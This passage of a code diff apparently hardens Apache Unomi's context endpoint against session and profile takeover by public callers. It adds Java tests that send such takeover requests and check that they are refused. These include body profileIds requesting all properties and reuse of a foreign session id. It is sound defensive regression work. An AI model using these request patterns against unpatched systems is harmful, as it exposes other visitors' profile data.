+ addPublicTenantAuth(anonymous);
+ anonymous.addHeader("Cookie", established.getCookieHeaderValue());
+ anonymous.setEntity(new StringEntity(getObjectMapper().writeValueAsString(secondRequest), ContentType.APPLICATION_JSON));
+ RequestResponse anonymousResponse = executeContextJSONRequest(anonymous, sessionId);
+
+ assertEquals(200, anonymousResponse.getStatusCode());
+ assertNotNull("An anonymous visitor's own session must not be refused",
+ anonymousResponse.getContextResponse().getSessionId());
+ assertEquals(sessionId, anonymousResponse.getContextResponse().getSessionId());
+
+ // And turning anonymity back off must keep serving the visitor. For a public caller the
+ // session stays anonymous rather than being rebound (see this test's javadoc); the profile
+ // it is served as is still its own.
+ privacyService.setRequireAnonymousBrowsing(profileId, false, TEST_SCOPE);
+ keepTrying("Anonymous browsing should be disabled again",
+ () -> privacyService.isRequireAnonymousBrowsing(profileId),
+ Boolean.FALSE::equals, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ ContextRequest thirdRequest = new ContextRequest();
+ thirdRequest.setSessionId(sessionId);
+ HttpPost deanonymised = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(deanonymised);
+ deanonymised.addHeader("Cookie", established.getCookieHeaderValue());
+ deanonymised.setEntity(new StringEntity(getObjectMapper().writeValueAsString(thirdRequest), ContentType.APPLICATION_JSON));
+ RequestResponse deanonymisedResponse = executeContextJSONRequest(deanonymised, sessionId);
+
+ assertEquals(200, deanonymisedResponse.getStatusCode());
+ assertNotNull("Leaving anonymous browsing must not refuse the visitor's own session",
+ deanonymisedResponse.getContextResponse().getSessionId());
+ assertEquals("and must keep serving it under the visitor's own profile", profileId,
+ deanonymisedResponse.getContextResponse().getProfileId());
+ } finally {
+ privacyService.setRequireAnonymousBrowsing(profileId, false, TEST_SCOPE);
+ }
+ }
+
+ /**
+ * Personas short-circuit profile binding entirely: the profile and session both come from the
+ * persona and none of the cookie/body binding logic runs. Nothing covered that path end to end,
+ * so a change to the binding code could silently break persona preview.
+ */
+ @Test
+ public void testPersona_contextJsonBindsToThePersona() throws Exception {
+ String personaId = "it-persona-" + System.currentTimeMillis();
+ profileService.createPersona(personaId);
+ keepTrying("Persona should be created", () -> profileService.loadPersonaWithSessions(personaId),
+ Objects::nonNull, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ try {
+ ContextRequest contextRequest = new ContextRequest();
+ HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL) + "?personaId=" + personaId);
+ addPublicTenantAuth(request);
+ request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON));
+ RequestResponse response = executeContextJSONRequest(request, null);
+
+ assertEquals(200, response.getStatusCode());
+ assertEquals("The context response must be bound to the persona, not a live profile",
+ personaId, response.getContextResponse().getProfileId());
+ } finally {
+ profileService.delete(personaId, true);
+ }
+ }
+
+ /**
+ * profileOverrides / sessionPropertiesOverrides are the preview-UI feature that lets a caller
+ * temporarily substitute segments, scores and properties. They had no coverage at all, and they
+ * are only honoured when the active profile is a Persona ({@code ContextJsonEndpoint#processOverrides}),
+ * which is exactly what keeps a public caller from overriding a real profile. Pin both halves:
+ * the override applies for a persona, and the persona path is unaffected by the binding rules.
+ */
+ @Test
+ public void testPersona_profileOverridesAreApplied() throws Exception {
+ String personaId = "it-persona-overrides-" + System.currentTimeMillis();
+ profileService.createPersona(personaId);
+ keepTrying("Persona should be created", () -> profileService.loadPersonaWithSessions(personaId),
+ Objects::nonNull, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ try {
+ Profile overrides = new Profile();
+ overrides.setSegments(new HashSet<>(Arrays.asList("override-segment-a", "override-segment-b")));
+
+ ContextRequest contextRequest = new ContextRequest();
+ contextRequest.setRequireSegments(true);
+ contextRequest.setProfileOverrides(overrides);
+
+ HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL) + "?personaId=" + personaId);
+ addPublicTenantAuth(request);
+ request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON));
+ RequestResponse response = executeContextJSONRequest(request, null);
+
+ assertEquals(200, response.getStatusCode());
+ assertEquals(personaId, response.getContextResponse().getProfileId());
+ assertNotNull("requireSegments must return the segment set", response.getContextResponse().getProfileSegments());
+ assertTrue("profileOverrides segments must be reflected for a persona",
+ response.getContextResponse().getProfileSegments().contains("override-segment-a"));
+ } finally {
+ profileService.delete(personaId, true);
+ }
+ }
+
+ @Test
+ public void testPublicCaller_sessionProfileSwitchWithoutMatchingCookie_refused() throws Exception {
+ String sessionOwnerId = "session-owner-" + System.currentTimeMillis();
+ String sessionId = "foreign-session-" + System.currentTimeMillis();
+ Profile sessionOwner = new Profile(sessionOwnerId);
+ profileService.save(sessionOwner);
+ Session foreignSession = new Session(sessionId, sessionOwner, new Date(), TEST_SCOPE);
+ profileService.saveSession(foreignSession);
+ keepTrying("Session owner not found", () -> profileService.load(sessionOwnerId), Objects::nonNull,
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+ keepTrying("Foreign session not found", () -> profileService.loadSession(sessionId), Objects::nonNull,
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ ContextRequest cookieEstablish = new ContextRequest();
+ cookieEstablish.setSessionId("cookie-session-" + System.currentTimeMillis());
+ HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(establish);
+ establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(cookieEstablish), ContentType.APPLICATION_JSON));
+ RequestResponse established = executeContextJSONRequest(establish, cookieEstablish.getSessionId());
+ String cookieProfileId = established.getContextResponse().getProfileId();
+ assertNotEquals(sessionOwnerId, cookieProfileId);
+
+ ContextRequest attempt = new ContextRequest();
+ attempt.setSessionId(sessionId);
+ attempt.setProfileId(cookieProfileId);
+ HttpPost attemptRequest = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(attemptRequest);
+ attemptRequest.addHeader("Cookie", established.getCookieHeaderValue());
+ attemptRequest.setEntity(new StringEntity(getObjectMapper().writeValueAsString(attempt), ContentType.APPLICATION_JSON));
+ RequestResponse result = executeContextJSONRequest(attemptRequest, sessionId);
+
+ assertEquals("Public caller must not adopt a foreign session profile",
+ cookieProfileId, result.getContextResponse().getProfileId());
+ Session reloaded = profileService.loadSession(sessionId);
+ assertEquals("Foreign session ownership must remain unchanged",
+ sessionOwnerId, reloaded.getProfileId());
+ }
+
+ @Test
+ public void testTrustedPrivateKey_mayOverrideBodyProfileId() throws Exception {
+ String cookieSessionId = "trusted-cookie-session-" + System.currentTimeMillis();
+ ContextRequest first = new ContextRequest();
+ first.setSessionId(cookieSessionId);
+ HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(establish);
+ establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(first), ContentType.APPLICATION_JSON));
+ RequestResponse established = executeContextJSONRequest(establish, cookieSessionId);
+ assertNotNull(established.getCookieHeaderValue());
+
+ String overrideProfileId = "admin-chosen-profile-" + System.currentTimeMillis();
+ Profile overrideProfile = new Profile(overrideProfileId);
+ profileService.save(overrideProfile);
+ keepTrying("Override profile not found", () -> profileService.load(overrideProfileId), Objects::nonNull,
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ ContextRequest override = new ContextRequest();
+ override.setSessionId(cookieSessionId);
+ override.setProfileId(overrideProfileId);
+ HttpPost trusted = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPrivateTenantAuth(trusted, testTenant, testPrivateKeyValue);
+ trusted.addHeader("Cookie", established.getCookieHeaderValue());
+ trusted.setEntity(new StringEntity(getObjectMapper().writeValueAsString(override), ContentType.APPLICATION_JSON));
+ RequestResponse overridden = executeContextJSONRequest(trusted, cookieSessionId, -1, false);
+
+ assertEquals(200, overridden.getStatusCode());
+ assertEquals("Trusted private key may select body profileId over cookie",
+ overrideProfileId, overridden.getContextResponse().getProfileId());
+ }
+
+
+
+
+
+ /**
+ * invalidateSession replaces the session bound to the supplied id, so it must not be usable as a
+ * way around the cookie-ownership rule.
+ */
+ @Test
+ public void testPublicCaller_invalidateSessionCannotReuseForeignSession() throws Exception {
+ String ownerId = "invalidate-owner-" + System.currentTimeMillis();
+ String foreignSessionId = "invalidate-foreign-session-" + System.currentTimeMillis();
+ Profile owner = new Profile(ownerId);
+ profileService.save(owner);
+ Session foreignSession = new Session(foreignSessionId, owner, new Date(), TEST_SCOPE);
+ profileService.saveSession(foreignSession);
+ keepTrying("Foreign session not found", () -> profileService.loadSession(foreignSessionId), Objects::nonNull,
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ // The untrusted caller establishes their own cookie against an unrelated session.
+ String ownSessionId = "invalidate-public-session-" + System.currentTimeMillis();
+ ContextRequest establishReq = new ContextRequest();
+ establishReq.setSessionId(ownSessionId);
+ HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(establish);
+ establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(establishReq), ContentType.APPLICATION_JSON));
+ RequestResponse established = executeContextJSONRequest(establish, ownSessionId);
+ String publicCallerId = established.getContextResponse().getProfileId();
+ assertNotEquals(ownerId, publicCallerId);
+
+ ContextRequest reuse = new ContextRequest();
+ reuse.setSessionId(foreignSessionId);
+ HttpPost probe = new HttpPost(getFullUrl(CONTEXT_URL) + "?invalidateSession=true");
+ addPublicTenantAuth(probe);
+ probe.addHeader("Cookie", established.getCookieHeaderValue());
+ probe.setEntity(new StringEntity(getObjectMapper().writeValueAsString(reuse), ContentType.APPLICATION_JSON));
+ executeContextJSONRequest(probe, foreignSessionId);
+
+ shouldBeTrueUntilEnd("Foreign session ownership must survive invalidateSession from a public caller",
+ () -> profileService.loadSession(foreignSessionId),
+ s -> s != null && ownerId.equals(s.getProfileId()),
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_SHOULDBETRUE_TRIES);
+ }
+
+ /**
+ * A refused session is never created, so echoing the requested id back would tell the client its
+ * session is live and make it replay the same rejected id forever.
+ */
+ @Test
+ public void testPublicCaller_refusedSessionIsNotEchoedInResponse() throws Exception {
+ String ownerId = "echo-owner-" + System.currentTimeMillis();
+ String foreignSessionId = "echo-foreign-session-" + System.currentTimeMillis();
+ Profile owner = new Profile(ownerId);
+ profileService.save(owner);
+ Session foreignSession = new Session(foreignSessionId, owner, new Date(), TEST_SCOPE);
+ profileService.saveSession(foreignSession);
+ keepTrying("Foreign session not found", () -> profileService.loadSession(foreignSessionId), Objects::nonNull,
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ String ownSessionId = "echo-public-session-" + System.currentTimeMillis();
+ ContextRequest establishReq = new ContextRequest();
+ establishReq.setSessionId(ownSessionId);
+ HttpPost establish = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(establish);
+ establish.setEntity(new StringEntity(getObjectMapper().writeValueAsString(establishReq), ContentType.APPLICATION_JSON));
+ RequestResponse established = executeContextJSONRequest(establish, ownSessionId);
+
+ ContextRequest attempt = new ContextRequest();
+ attempt.setSessionId(foreignSessionId);
+ HttpPost probe = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(probe);
+ probe.addHeader("Cookie", established.getCookieHeaderValue());
+ probe.setEntity(new StringEntity(getObjectMapper().writeValueAsString(attempt), ContentType.APPLICATION_JSON));
+ RequestResponse refused = executeContextJSONRequest(probe, foreignSessionId);
+
+ assertEquals(200, refused.getStatusCode());
+ assertNull("A refused session id must not be echoed back to the client",
+ refused.getContextResponse().getSessionId());
+ }
+
@Test
public void testCreateEventWithProfileId_Success() throws Exception {
//Arrange
@@ -432,16 +772,36 @@ public void testCreateEventWithProfileId_Success() throws Exception {
contextRequest.setProfileId(TEST_PROFILE_ID);
contextRequest.setEvents(Arrays.asList(event));
- //Act
+ //Act — body profileId binding for a chosen id requires a trusted caller
HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL));
- addPublicTenantAuth(request);
+ addPrivateTenantAuth(request, testTenant, testPrivateKeyValue);
request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON));
- executeContextJSONRequest(request);
+ executeContextJSONRequest(request, null, -1, false);
keepTrying("Profile " + TEST_PROFILE_ID + " not found in the required time", () -> profileService.load(TEST_PROFILE_ID),
Objects::nonNull, DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
}
+ @Test
+ public void testPublicCaller_bodyProfileIdWithoutCookie_rejected() throws Exception {
+ String otherId = "body-only-other-" + System.currentTimeMillis();
+ Profile other = new Profile(otherId);
+ other.setProperty("email", "other-body-only@example.com");
+ profileService.save(other);
+ keepTrying("Other not found", () -> profileService.load(otherId), Objects::nonNull,
+ DEFAULT_TRYING_TIMEOUT, DEFAULT_TRYING_TRIES);
+
+ ContextRequest probe = new ContextRequest();
+ probe.setProfileId(otherId);
+ probe.setRequiredProfileProperties(Collections.singletonList("*"));
+ HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPublicTenantAuth(request);
+ request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(probe), ContentType.APPLICATION_JSON));
+ // Body profileId is ignored for public callers; with no cookie/session → 400, not other data
+ RequestResponse response = executeContextJSONRequest(request, null, 400, false);
+ assertEquals(400, response.getStatusCode());
+ }
+
@Test
public void testCreateEventWithPropertiesValidation_Success() throws Exception {
//Arrange
@@ -489,11 +849,11 @@ public void testCreateEventWithPropertyValueValidation_Failure() throws Exceptio
contextRequest.setProfileId(profileId);
contextRequest.setEvents(Arrays.asList(event));
- //Act
+ //Act — body profileId requires trusted auth; withAuth=false so the public key is not also attached
HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL));
addPrivateTenantAuth(request, testTenant, testPrivateKeyValue);
request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON));
- executeContextJSONRequest(request);
+ executeContextJSONRequest(request, null, -1, false);
//Assert
shouldBeTrueUntilEnd("Event should be null", () -> eventService.getEvent(eventId), Objects::isNull, DEFAULT_TRYING_TIMEOUT,
@@ -516,11 +876,11 @@ public void testCreateEventWithPropertyNameValidation_Failure() throws Exception
contextRequest.setProfileId(profileId);
contextRequest.setEvents(Arrays.asList(event));
- //Act
+ //Act — body profileId requires trusted auth; withAuth=false so the public key is not also attached
HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL));
addPrivateTenantAuth(request, testTenant, testPrivateKeyValue);
request.setEntity(new StringEntity(getObjectMapper().writeValueAsString(contextRequest), ContentType.APPLICATION_JSON));
- executeContextJSONRequest(request);
+ executeContextJSONRequest(request, null, -1, false);
//Assert
shouldBeTrueUntilEnd("Event should be null", () -> eventService.getEvent(eventId), Objects::isNull, DEFAULT_TRYING_TIMEOUT,
@@ -581,9 +941,11 @@ public void testPersonalization() throws Exception {
@Test
public void testScorePersonalizationStrategy_Interests() throws Exception {
// Test request before adding interests to current profile.
+ // JSON binds profileId in the body — requires trusted caller (public ignores body profileId).
HttpPost request = new HttpPost(getFullUrl(CONTEXT_URL));
+ addPrivateTenantAuth(request, testTenant, testPrivateKeyValue);
request.setEntity(new StringEntity(getValidatedBundleJSON("personalization-score-interests.json", null), ContentType.APPLICATION_JSON));
- TestUtils.RequestResponse response = executeContextJSONRequest(request);
+ TestUtils.RequestResponse response = executeContextJSONRequest(request, null, -1, false);
ContextResponse contextResponse = response.getContextResponse();
List
+ * Delegates to {@link org.apache.unomi.api.utils.LogSanitizer}, which holds the one
+ * implementation of this filter. It lives in {@code api} so that bundles outside {@code rest}
+ * which log request-derived values can reuse it instead of growing a second copy; as of this
+ * change its only callers are in {@code rest}. This class keeps the REST-specific length limits
+ * and field shapes below.
+ *
+ * Note the empty-string result for {@code null} is preserved here: the exception mappers embed
+ * this in user-facing messages where the literal {@code "null"} would read as a value.
*/
static String forLogging(String input) {
if (input == null) {
return "";
}
- if (input.length() > MAX_MESSAGE_LENGTH) {
- input = input.substring(0, MAX_MESSAGE_LENGTH) + "...[truncated]";
- }
- StringBuilder sanitized = new StringBuilder(input.length());
- for (int i = 0; i < input.length(); i++) {
- char c = input.charAt(i);
- if (c >= 0x20 && c <= 0x7E && c != '\\' && c != '{' && c != '}' && c != '%' && c != '$') {
- sanitized.append(c);
- } else {
- sanitized.append('_');
- }
- }
- return sanitized.toString();
+ return org.apache.unomi.api.utils.LogSanitizer.forLogging(input, MAX_MESSAGE_LENGTH);
}
static String url(String url) {
diff --git a/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java b/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java
index 5a17da207f..7ed3a0987d 100644
--- a/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java
+++ b/rest/src/main/java/org/apache/unomi/rest/service/impl/RestServiceUtilsImpl.java
@@ -21,6 +21,8 @@
import org.apache.cxf.interceptor.security.RolePrefixSecurityContextImpl;
import org.apache.cxf.jaxrs.utils.JAXRSUtils;
import org.apache.unomi.api.*;
+import org.apache.unomi.api.security.SecurityService;
+import org.apache.unomi.api.utils.LogSanitizer;
import org.apache.unomi.api.security.TenantPrincipal;
import org.apache.unomi.api.security.UnomiRoles;
import org.apache.unomi.api.services.ConfigSharingService;
@@ -92,6 +94,9 @@ public class RestServiceUtilsImpl implements RestServiceUtils {
@Reference
private V2ThirdPartyConfigService v2ThirdPartyConfigService;
+ @Reference
+ private SecurityService securityService;
+
@Override
public String getProfileIdCookieValue(HttpServletRequest httpServletRequest) {
String cookieProfileId = null;
@@ -132,12 +137,68 @@ public EventsRequestContext initEventsRequest(String scope, String sessionId, St
}
}
- if (profileId == null) {
- // Get profile id from the cookie
- profileId = getProfileIdCookieValue(request);
+ final String requestedBodyProfileId = profileId;
+ // Read unconditionally, where before the cookie was only consulted when no body profileId was
+ // supplied. Every check below needs to know the cookie bearer even when the body names someone
+ // else - that mismatch is the thing being guarded against. Note the widened side effect:
+ // getProfileIdCookieValue rejects a schema-invalid cookie with a 400, so a request carrying
+ // both an explicit profileId and a malformed cookie now fails where it used to be served.
+ final String cookieProfileIdAtRequest = getProfileIdCookieValue(request);
+ // Resolved once: the caller's identity cannot change during a single request, and the
+ // checks below must all agree on it.
+ final boolean trustedCaller = isTrustedProfileCaller();
+ // When a public caller presents a foreign sessionId, we must not overwrite that session.
+ String effectiveSessionId = sessionId;
+
+ if (!trustedCaller) {
+ // Public callers: the cookie is the only profile bearer, so a body profileId never selects
+ // the profile — including when no cookie is present, where there is nothing to match against.
+ // Logged at WARN like the two other refusals below, and for the same reason: this is an
+ // identity claim being rejected. An integration that used to bind a profile this way
+ // stops working at this line, and DEBUG would leave an operator with nothing to find.
+ if (requestedBodyProfileId != null && !requestedBodyProfileId.equals(cookieProfileIdAtRequest)) {
+ LOGGER.warn("Ignoring body profileId {} from public caller (cookie profileId is {})",
+ LogSanitizer.forLogging(requestedBodyProfileId), LogSanitizer.forLogging(cookieProfileIdAtRequest));
+ }
+ profileId = cookieProfileIdAtRequest;
+ } else if (profileId == null) {
+ profileId = cookieProfileIdAtRequest;
+ }
+ // else trusted caller keeps explicit body profileId (may differ from cookie)
+
+ // Trusted callers may intentionally bind to a body profileId that differs from the cookie.
+ //
+ // A missing cookie counts as "differs". Requiring a cookie here meant a trusted integration
+ // that sent an explicit profileId with no cookie - the normal shape for a server-side caller,
+ // which has no browser and therefore no cookie jar - had its profile silently replaced by the
+ // session owner further down, contradicting the documented ability to bind a profile
+ // intentionally.
+ final boolean trustedExplicitProfileOverride = trustedCaller
+ && requestedBodyProfileId != null
+ && !requestedBodyProfileId.equals(cookieProfileIdAtRequest);
+
+ // invalidateSession re-creates the session bound to the supplied id, so it has to observe the
+ // same ownership rule as the binding path below rather than being a second, unchecked route
+ // to it: a public caller may only invalidate a session its own cookie already owns.
+ if (invalidateSession && !trustedCaller && StringUtils.isNotBlank(effectiveSessionId)) {
+ Session existingSession = profileService.loadSession(effectiveSessionId);
+ // An unknown session id is fine - there is nothing to take over, and the request goes on to
+ // create one. What must not pass is an existing session the cookie bearer cannot be shown to
+ // own, which includes a session with no owner recorded at all: an anonymous session has a
+ // null profileId, so an "owner differs" test would wave it through and re-create it under
+ // the caller's profile.
+ if (existingSession != null
+ && !isOwnedByCookieBearer(existingSession.getProfileId(), cookieProfileIdAtRequest)) {
+ LOGGER.warn("Refusing to invalidate session {} owned by profile {} for a public caller "
+ + "whose cookie bearer is {}",
+ LogSanitizer.forLogging(effectiveSessionId), LogSanitizer.forLogging(existingSession.getProfileId()),
+ LogSanitizer.forLogging(cookieProfileIdAtRequest));
+ eventsRequestContext.setSessionRefused(true);
+ effectiveSessionId = null;
+ }
}
- if (profileId == null && sessionId == null && personaId == null) {
+ if (profileId == null && effectiveSessionId == null && personaId == null) {
LOGGER.warn("Couldn't find profileId, sessionId or personaId in incoming request! Stopped processing request. See debug level for more information");
if (LOGGER.isDebugEnabled()) LOGGER.debug("Request dump: {}", HttpUtils.dumpRequestInfo(request));
throw new BadRequestException("Couldn't find profileId, sessionId or personaId in incoming request!");
@@ -161,9 +222,9 @@ public EventsRequestContext initEventsRequest(String scope, String sessionId, St
// Try to recover existing session
Profile sessionProfile;
- if (StringUtils.isNotBlank(sessionId) && !invalidateSession) {
+ if (StringUtils.isNotBlank(effectiveSessionId) && !invalidateSession) {
- eventsRequestContext.setSession(profileService.loadSession(sessionId));
+ eventsRequestContext.setSession(profileService.loadSession(effectiveSessionId));
if (eventsRequestContext.getSession() != null) {
sessionProfile = eventsRequestContext.getSession().getProfile();
@@ -171,42 +232,88 @@ public EventsRequestContext initEventsRequest(String scope, String sessionId, St
if (!eventsRequestContext.getProfile().isAnonymousProfile() &&
!anonymousSessionProfile &&
!eventsRequestContext.getProfile().getItemId().equals(sessionProfile.getItemId())) {
- // Session user has been switched, profile id in cookie is not up to date
- // We must reload the profile with the session ID as some properties could be missing from the session profile
- // #personalIdentifier
- Profile sessionProfileWithId = profileService.load(sessionProfile.getItemId());
- if (sessionProfileWithId != null) {
- eventsRequestContext.setProfile(sessionProfileWithId);
+ // Session profile differs from the request profile. Only switch when the
+ // cookie bearer already matches the session owner, or the caller is trusted —
+ // unless a trusted caller explicitly overrode the profile via the body.
+ boolean cookieOwnsSession = isOwnedByCookieBearer(sessionProfile.getItemId(), cookieProfileIdAtRequest);
+ if (trustedExplicitProfileOverride) {
+ LOGGER.debug("Keeping trusted body profileId {} despite session/cookie mismatch",
+ LogSanitizer.forLogging(eventsRequestContext.getProfile().getItemId()));
+ } else if (cookieOwnsSession || trustedCaller) {
+ Profile sessionProfileWithId = profileService.load(sessionProfile.getItemId());
+ if (sessionProfileWithId != null) {
+ eventsRequestContext.setProfile(sessionProfileWithId);
+ } else {
+ LOGGER.warn("Couldn't find profile ID {} referenced from session with ID {}, so we re-create it",
+ LogSanitizer.forLogging(sessionProfile.getItemId()), LogSanitizer.forLogging(effectiveSessionId));
+ eventsRequestContext.setProfile(createNewProfile(sessionProfile.getItemId(), timestamp));
+ }
} else {
- LOGGER.warn("Couldn't find profile ID {} referenced from session with ID {}, so we re-create it", sessionProfile.getItemId(), sessionId);
- eventsRequestContext.setProfile(createNewProfile(sessionProfile.getItemId(), timestamp));
+ LOGGER.warn("Refusing to switch profile from {} to session profile {} without matching cookie bearer; "
+ + "detaching session {} for this request",
+ LogSanitizer.forLogging(eventsRequestContext.getProfile().getItemId()),
+ LogSanitizer.forLogging(sessionProfile.getItemId()), LogSanitizer.forLogging(effectiveSessionId));
+ // Detach so we neither adopt the foreign profile nor rebind the foreign
+ // session. No session exists for the rest of the request; the response
+ // must not echo the refused id back (see EventsRequestContext#isSessionRefused).
+ eventsRequestContext.setSession(null);
+ eventsRequestContext.setSessionRefused(true);
+ effectiveSessionId = null;
}
}
- // Handle anonymous situation
- Boolean requireAnonymousBrowsing = privacyService.isRequireAnonymousBrowsing(eventsRequestContext.getProfile());
- if (requireAnonymousBrowsing && anonymousSessionProfile) {
- // User wants to browse anonymously, anonymous profile is already set.
- } else if (requireAnonymousBrowsing && !anonymousSessionProfile) {
- // User wants to browse anonymously, update the sessionProfile to anonymous profile
- sessionProfile = privacyService.getAnonymousProfile(eventsRequestContext.getProfile());
- eventsRequestContext.getSession().setProfile(sessionProfile);
- eventsRequestContext.addChanges(EventService.SESSION_UPDATED);
- } else if (!requireAnonymousBrowsing && anonymousSessionProfile) {
- // User does not want to browse anonymously anymore, update the sessionProfile to real profile
- sessionProfile = eventsRequestContext.getProfile();
- eventsRequestContext.getSession().setProfile(sessionProfile);
- eventsRequestContext.addChanges(EventService.SESSION_UPDATED);
- } else if (!requireAnonymousBrowsing && !anonymousSessionProfile) {
- // User does not want to browse anonymously, use the real profile. Check that session contains the current profile.
- sessionProfile = eventsRequestContext.getProfile();
- if (sessionProfile != null) {
- if (!eventsRequestContext.getSession().getProfileId().equals(sessionProfile.getItemId())) {
+ // Handle anonymous situation (only when we still hold a session)
+ if (eventsRequestContext.getSession() != null) {
+ Boolean requireAnonymousBrowsing = privacyService.isRequireAnonymousBrowsing(eventsRequestContext.getProfile());
+ if (requireAnonymousBrowsing && anonymousSessionProfile) {
+ // User wants to browse anonymously, anonymous profile is already set.
+ } else if (requireAnonymousBrowsing && !anonymousSessionProfile) {
+ // User wants to browse anonymously, update the sessionProfile to anonymous profile
+ sessionProfile = privacyService.getAnonymousProfile(eventsRequestContext.getProfile());
+ eventsRequestContext.getSession().setProfile(sessionProfile);
+ eventsRequestContext.addChanges(EventService.SESSION_UPDATED);
+ } else if (!requireAnonymousBrowsing && anonymousSessionProfile) {
+ // User does not want to browse anonymously anymore, update the sessionProfile to real profile.
+ //
+ // Only a trusted caller may do this. An anonymous session records no owner at
+ // all - PrivacyService#getAnonymousProfile returns a profile with no itemId, so
+ // the session's profileId is null - which leaves the ownership rule enforced
+ // everywhere else in this method with nothing to check the cookie against. The
+ // rebinding is a write, so honouring it for a public caller would hand the
+ // session to whoever presents its id, which is exactly what that rule exists to
+ // prevent. A public caller therefore leaves the session anonymous; the visitor
+ // picks up a named session again once the client rotates its session id.
+ //
+ // Refusing also avoids retroactively re-attributing every event already recorded
+ // in that session to a real profile, which is the outcome anonymous browsing was
+ // asked for in the first place.
+ if (trustedCaller) {
+ sessionProfile = eventsRequestContext.getProfile();
+ eventsRequestContext.getSession().setProfile(sessionProfile);
eventsRequestContext.addChanges(EventService.SESSION_UPDATED);
+ } else {
+ // INFO rather than WARN, unlike the refusals above: those fire on a claim
+ // that is demonstrably wrong, while this one cannot tell a takeover attempt
+ // from the visitor who legitimately just turned anonymity off - that is the
+ // whole difficulty. It also repeats on every request until the client picks
+ // a new session id, so a WARN here would train operators to ignore the ones
+ // that do mean something.
+ LOGGER.info("Not rebinding anonymous session {} to profile {} for a public caller: "
+ + "an anonymous session has no recorded owner to match the cookie bearer against",
+ LogSanitizer.forLogging(effectiveSessionId),
+ LogSanitizer.forLogging(eventsRequestContext.getProfile().getItemId()));
+ }
+ } else if (!requireAnonymousBrowsing && !anonymousSessionProfile) {
+ // User does not want to browse anonymously, use the real profile. Check that session contains the current profile.
+ sessionProfile = eventsRequestContext.getProfile();
+ if (sessionProfile != null) {
+ if (!eventsRequestContext.getSession().getProfileId().equals(sessionProfile.getItemId())) {
+ eventsRequestContext.addChanges(EventService.SESSION_UPDATED);
+ }
+ eventsRequestContext.getSession().setProfile(sessionProfile);
+ } else {
+ LOGGER.warn("Null profile in event request context");
}
- eventsRequestContext.getSession().setProfile(sessionProfile);
- } else {
- LOGGER.warn("Null profile in event request context");
}
}
}
@@ -217,10 +324,10 @@ public EventsRequestContext initEventsRequest(String scope, String sessionId, St
sessionProfile = privacyService.isRequireAnonymousBrowsing(eventsRequestContext.getProfile()) ?
privacyService.getAnonymousProfile(eventsRequestContext.getProfile()) : eventsRequestContext.getProfile();
- if (StringUtils.isNotBlank(sessionId)) {
+ if (StringUtils.isNotBlank(effectiveSessionId)) {
// Only save session and send event if a session id was provided, otherwise keep transient session
- Session session = new Session(sessionId, sessionProfile, timestamp, scope);
+ Session session = new Session(effectiveSessionId, sessionProfile, timestamp, scope);
eventsRequestContext.setSession(session);
eventsRequestContext.setNewSession(true);
eventsRequestContext.addChanges(EventService.SESSION_UPDATED);
@@ -400,6 +507,38 @@ private Profile createNewProfile(String existingProfileId, Date timestamp) {
return profile;
}
+ /**
+ * System or tenant administrators may override profile/session binding; public callers may not.
+ *
+ * A tenant private key authenticates as {@link UnomiRoles#TENANT_ADMINISTRATOR}, so integrations
+ * using one are trusted here; a tenant public API key is not.
+ *
+ * {@code securityService} is a mandatory static {@code @Reference}, so this component is never
+ * active without it. Deliberately not null-guarded: defaulting a missing identity service to
+ * "untrusted" would silently strip every trusted integration of its binding rights with nothing
+ * in the log to explain it, which is far harder to diagnose than the NPE that says so outright.
+ */
+ private boolean isTrustedProfileCaller() {
+ return securityService.hasSystemAccess();
+ }
+
+ /**
+ * Whether the profile named by the caller's cookie is the recorded owner of a session.
+ *
+ * The one place the ownership rule is written down, so the two call sites that need it cannot
+ * drift apart. Ownership has to be positively established, so an absent cookie and an unowned
+ * session both answer {@code false}. A session with a {@code null} owner is not "owned by
+ * nobody, so anyone may have it" - it is a session whose owner cannot be checked, which for this
+ * purpose is the same answer.
+ *
+ * @param ownerProfileId the profile id recorded as owning the session, may be {@code null}
+ * @param cookieProfileIdAtRequest the profile id carried by the caller's cookie, may be {@code null}
+ * @return {@code true} only when the cookie bearer demonstrably owns the session
+ */
